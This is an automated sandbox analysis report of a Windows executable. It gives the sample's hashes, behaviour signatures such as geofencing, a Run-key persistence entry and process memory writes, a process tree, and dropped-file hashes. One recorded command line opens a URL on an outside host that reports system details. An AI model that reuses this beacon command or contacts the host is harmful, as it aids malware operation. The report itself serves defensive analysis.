Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 09:20

General

  • Target

    6617f888410e9202a6424b4585a4556dfac05e2dbcb28ad3f9bb5e94fdfbf1a1.exe

  • Size

    143KB

  • MD5

    3f3bd6c0f8accd86583ce32f0ca99575

  • SHA1

    0bcc2b16806f4418c75b38dc64a7e476c85e08c7

  • SHA256

    6617f888410e9202a6424b4585a4556dfac05e2dbcb28ad3f9bb5e94fdfbf1a1

  • SHA512

    3e413ab412daadb9983faffdc9a82a43df0127b9c0c58d41d9c20fb115ecb68ff4891051022eacc683c9ec6d841c5b13dd62d991453e6c10db2b4e9127cc7f60

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DK:pe9IB83ID5m

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6617f888410e9202a6424b4585a4556dfac05e2dbcb28ad3f9bb5e94fdfbf1a1.exe
    "C:\Users\Admin\AppData\Local\Temp\6617f888410e9202a6424b4585a4556dfac05e2dbcb28ad3f9bb5e94fdfbf1a1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300108^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300108&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xd8,0xfc,0x100,0xb0,0x104,0x7ffbc91946f8,0x7ffbc9194708,0x7ffbc9194718
          4⤵
            PID:2868
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
            4⤵
              PID:4176
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2476 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4300
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3172 /prefetch:8
              4⤵
                PID:2616
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
                4⤵
                  PID:4772
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3764 /prefetch:1
                  4⤵
                    PID:2600
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5304 /prefetch:8
                    4⤵
                      PID:3956
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
                      4⤵
                        PID:628
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5664 /prefetch:8
                        4⤵
                          PID:5080
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
                          4⤵
                            PID:512
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5800 /prefetch:1
                            4⤵
                              PID:2176
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6312 /prefetch:8
                              4⤵
                                PID:3624
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                4⤵
                                • Drops file in Program Files directory
                                PID:4608
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ff7b49f5460,0x7ff7b49f5470,0x7ff7b49f5480
                                  5⤵
                                    PID:4000
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6312 /prefetch:8
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1364
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2128,11180759913563041666,10101344554883199718,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:8
                                  4⤵
                                    PID:1928
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4560

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                Filesize

                                1KB

                                MD5

                                167cfd90cb81d3dddd63f107249a0f2e

                                SHA1

                                39a78631cc336bb71fe7a02eeb91474bbc335eea

                                SHA256

                                4c527164ea0096494cfd68b9e9167c0587c162106e8ec71edc705963c9fc543b

                                SHA512

                                013a16d1dc963bf536a156ccb6ea94596887e1d774d6b18636000bbda06b57c135bac00ef046d18022b8512d6abb9bffd3c26b6d10998b4f0e86b46c319b7911

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                Filesize

                                472B

                                MD5

                                03ad9fc0b00b5df3165dc2fb1e3b0a3e

                                SHA1

                                f8243335a8bc24d989bddd346048a055e1d0bdeb

                                SHA256

                                366b28d491f7fd632e31c1ce97f939555f7dcee14bb6875737ed2d3e96fa32ec

                                SHA512

                                a3cd8a001366e6c1b96d2b920d56e6efd34e9b69b9805e1a2b0c270346712e22420366f8bd18bbb1dd16fa60d481ad65b13385a66a3f1fa0d7aadaaa27b99796

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                Filesize

                                724B

                                MD5

                                f569e1d183b84e8078dc456192127536

                                SHA1

                                30c537463eed902925300dd07a87d820a713753f

                                SHA256

                                287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

                                SHA512

                                49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                Filesize

                                410B

                                MD5

                                e9088b8a2dbce1bc37d4bb1489b2bdec

                                SHA1

                                de65459b89ab39008f018254c36f9219d897c835

                                SHA256

                                5e647694a9e4eea27d5bf0da74c788f4511a7c1c29fae35b0ebe5b743f6133d2

                                SHA512

                                dd90765e7843e970d938d93e002eaec830e51aaff5a43feb07a81ff38ce7a99089fd26638f650412a0291b0fe8290d2407ea6b12c6f5f4b5578141093153b56f

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                Filesize

                                402B

                                MD5

                                35432a7cef5b40e933286af4b5cb27fc

                                SHA1

                                7a09f396b85fe055509ea8fb2043eaa9f36158dd

                                SHA256

                                62d734c1ca7b2af8b5c45f8f7997293d1de0beda7439ed37b9396aa7eade668b

                                SHA512

                                932a45a1a8e5722def923ad3c22361831886f2b2d7eb2801798a4475b5dbf5c62f861dd4814751ce434ceb83667e9e524dcbb4dbfc931d145767d1325eac9263

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                Filesize

                                392B

                                MD5

                                8d70326e55ca7edf89562222c509c4a7

                                SHA1

                                597a709a2e94ad623032dce45d47b8b44939c833

                                SHA256

                                960a649f3c5b2c7137423c7d4f9f3f2d3431a0c13aae230c97ab9042d8c862d1

                                SHA512

                                db757fd86ffa5d9d747aeb497e75b4f16298a5d77f1f790c96c62c151eaca0484e89e8b1373ff41e181148ec42e3024d9ba8c71f9a7aadc138d49c1aeefaa0a7